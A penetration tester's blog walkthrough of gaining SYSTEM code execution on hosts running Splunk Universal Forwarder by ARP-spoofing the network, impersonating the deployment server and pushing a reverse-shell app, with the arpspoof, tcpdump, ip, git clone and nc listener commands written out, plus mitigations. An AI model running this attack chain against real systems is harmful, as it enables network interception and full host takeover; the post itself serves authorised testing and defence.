Attacking machichines running the Splunk Universal Forwarders to achieve RCE.
I sometimes find myself on engagements in a network with no credentials and not much going on for me. Responder doesn’t always give me anything juicy and other more aggressive attack primitives are scoped out or impossible to execute.
However, a quick portscan reveals port 8089 exposed on a couple of hosts. More often than not, this means a Splunk agent is installed. I’ve seen research on how to abuse Splunk for such purposes, but I had yet to try it myself.
I decided to configure Splunk in my lab to find out if it is possible to achieve RCE on any host with the Splunk Universal Forwarder installed, given access to the same network. Spoiler alert: the answer is yes.
What do we achieve from this attack?
- Remote Code Execution as
SYSTEMon any endpoint with Splunk Univeral Forwarder running.
Note that there is a temporary consequence of this attack. When you hijack all Splunk management traffic from an endpoint, the endpoint will temporarily lose all its deployed Apps and be replaced by yours. Once the attack is stopped it should automatically connect back to the real deployment server and redownload it’s apps. I have verified in a real production environment that this works realiably. However, all logs captured while the attack is ongoing is not sent to the real Deployment Server and is lost. You should inform the party that gave you consent to this attack of this consequence and ensure they agree to it.
- We configure a Splunk Deployment Server (DS) on our attacker host
- We ARP spoof the target and pretend we are the DS
- We deploy a malicious Splunk app to the target, that executes a payload
- A Linux machine on the same network as the victim host(s)
- The ability to install and configure a Splunk deployment server on said machine
- A scope that allows ARP spoofing and redirection of Splunk traffic, which can be potentially disruptive
- Splunk Universal Forwarder running on the victim
Note that Splunk has no authentication between the Universal Forwarder and Deployment Server. Thus, all we need to do is tell clients you are the forwarder, which is exactly what we do in this attack.
Components of the attack
ws01.lab.local- The victim host
kali01- Attacker host
192.168.0.1- The default gateway
I found a useful diagram that displays some of the Splunk components and what ports they use for communication. Most of it is beyond the scope of this simple demo, but it’s worth taking a look at it to get familiar with Splunk infrastructure.
Preparing the victim
In a real scenario you will not have access to the victim (duh). I included this section so you can replicate the attack if you wish.
Install the Splunk Universal Forwarder (UF) with Choco
choco install splunk-universalforwarder
Do a netstat to verify port
8089 is exposed
Configure the forwarder to contact the “real” Deployment Server. The default credentials are
cd "C:\Program Files\SplunkUniversalForwarder\bin" .\splunk.exe set deploy-poll 172.16.0.2:8089
Installing Splunk Deployment Server
Splunk Enterprise can be downloaded for free with a login from the Splunk website. Assuming a Debian based OS, install the deb file with
apt install ./splunk-22.214.171.124-7651b7244cf2-linux-2.6-amd64.deb
Once the server is installed, start it
We need to ARP spoof the victim to be able to say we are the deployment server. However, we are not always lucky enough to be in the same network as the real Deployment Server. Hence, we need to find out where it is, and spoof it. We do that by spoofing the default gateway for our victim, consequently routing everything through us.
First enable port forwarding on the attacking host
sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward" sed -i 's/#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/' /etc/sysctl.conf sysctl -p
Open two terminals and execute
arpspoof to tell the victim that we are the default gateway and the gateway that we are the victim. This way, all traffic to and from the victim will be forwarded through our attacker host.
arpspoof -i eth0 -t 192.168.0.134 192.168.0.1 arpspoof -i eth0 -t 192.168.0.1 192.168.0.134
Instantly upon execution, ARP replies are coming in.
Finding the real Deployment Server
If you are lucky, the DS is in the same network as your attacker host and victim. If it is you can just ARP spoof that server directly. However, if the DS is in a different network, you need to find out where the DS is.
Note: when I did this I had both SSH and RDP going on to the boxes, so I filtered those and ARP requests, and focus on traffic to and from my target. We know that UFs communicate outbound on
8089 so we can filter on that.
tcpdump -i eth0 port not 22 and port not 3389 and not ARP and host 192.168.0.134 and port 8089
We see that it’s trying to reach out to a host on a different network on port
8089. This is most likely the deployment server it has been configured for.
Prepering the interface
We know from tcpdump that the real DS is at
172.16.0.2. This is a property configured on the forwarder, so there is little we can do about that. We need to trick traffic to that IP to go to our deployment server. My solution to this was configuring another IP address on the eth0 interface, which will then always have a shorter route to that IP than to the real DS. For this, we configure an IP address on
eth0 with the IP address of the real DS.
ip addr add 172.16.0.2 dev eth0
We verify that we have a route, but this should be obvious really.
ip route get 172.16.0.2
Note that Splunk exposes itself on
8089 is not bound to any specific interface on the attacking host. This means Splunk will be accessible on all interfaces and IPs you configure.
Note: in an earlier version of the article I used an alias interface for this, which was completely unnecessary because the
ip command natively support multiple IP addresses on an interface.
Preparing the deployment package
We are going to prepare a Splunk app that will be deployed to the victim. We don’t care for implementing this ourselves when numerous proejcts are easily available on Github. We chose the repo reverse_shell_splunk for the job. This app will simply run a bat file that runs a powershell-script, which executes a reverse shell.
Note that such a shell might trigger anti-malware alert and get blocked. I would suggest doing something that could be considered more opsec safe, like adding a local user and adding it to the local administrtors group.
We clone the repo and edit the
run.ps1 file to our attacker IP and port where we will be listening.
git clone https://github.com/vartai-security/reverse_shell_splunk
We then copy the entire folder over to the deployment-apps directory.
cd reverse_shell_splunk cp -r reverse_shell_splunk/ /opt/splunk/etc/deployment-apps/
We are nearly there, so we set up a listener on the attacker host
nc -lvp 443
Preparing the Server Class
We now use the web interface to deploy the package we configured earlier to our target. Once you click save in the final step here, the App is deployed and will be installed on all specified clients. That means your payload will be firing!
To deploy Apps to specific hosts they have to be part of a Server Class. We configure this by doing the following:
Enter the web interface for your fake DS, that is exposed on port
8000. In this example, the URL is
Settings -> Forward Management
Most likely you will see it already has 1 client phoned home already. And you will see the app you placed in your folder.
Server Classes and click
Give it a name
Deploying the package
Click the app in
Unselected App and it will automagically move over to
Edit on the App and in that new view, ensure
Restart Splunkd is checked. If not, the splunk deamon on the victim won’t restart and execute it’s new app. Once done, click
Now, everything is ready and all we need to do is execute the actual attack. This will happen quickly once we click Save, so we make sure everything is all set up before we click.
Specify the client in the whitelisting , which is our target and click Save.
It should deploy the App fairly quickly and give us some feedback when it has.
And there it is! Our beloved SYSTEM shell which we obtained from nothing but network access and some clever Splunk magic. Do a root dance if you ever get here!
Troubleshooting the attack
Polling for new apps will always be initiated by the client, so we simply have to wait. If we are impatient and just want to simulate the attack, we can log on to the victim host and force a restart of the UF.
C:\Program Files\SplunkUniversalForwarder\bin> .\splunk.exe restart
After the restart we monitor using
tcpdump, where we should see the victim start connecting to our fake DS, thus installing the deployed app and execute the payload.
Note that the location of the deployed apps on the Windows endpoint is
C:\Program Files\SplunkUniversalForwarder\etc\apps. You should see your malicious app here.
As this attack consists of several components, there are several mitigations that apply to it.
Mitigating ARP spoofing
ARP spoofing has been and still is possible to do in most broadcast domains. Dynamic ARP inspection (DAI) can prevent this by intercepting all ARP requests and responses. Each intercepted packet is verified for valid MAC address to IP bindings. The best information on this I could find was some Cisco documentation.
Splunk certificate authentication
In the environments I have tested, the UF has not been configured to enforce the TLS certificate for the Deployment Server, which is the primary reason the attack demonstrated in this post works. Because the UF does not verify the DS, it will accept any DS. To mitigate this, configure Splunk forwarding to use your own certificates. Ensure the certificate is enforced in deploymentclient.conf. This setting is
sslVerifyServerCert = <bool>.
Low privilege forwarder
Splunk support running the UF in low-privilege mode. This will prevent the agent from running as SYSTEM and attacker getting access with those privileges. This is definitely not always desireable as you will not get complete logging from an endpoint without elevated privileges.
Securing Splunk Enterprise guides
The following documentation shows how to secure and harden Splunk installations
- Ryan Hays
- El Nerdo - for the idea of configuing an additional IP address.
- Splunk guy at work, who put me onto this and helped me understand more about how Splunk works. “It’s one huge, dirty Python hack”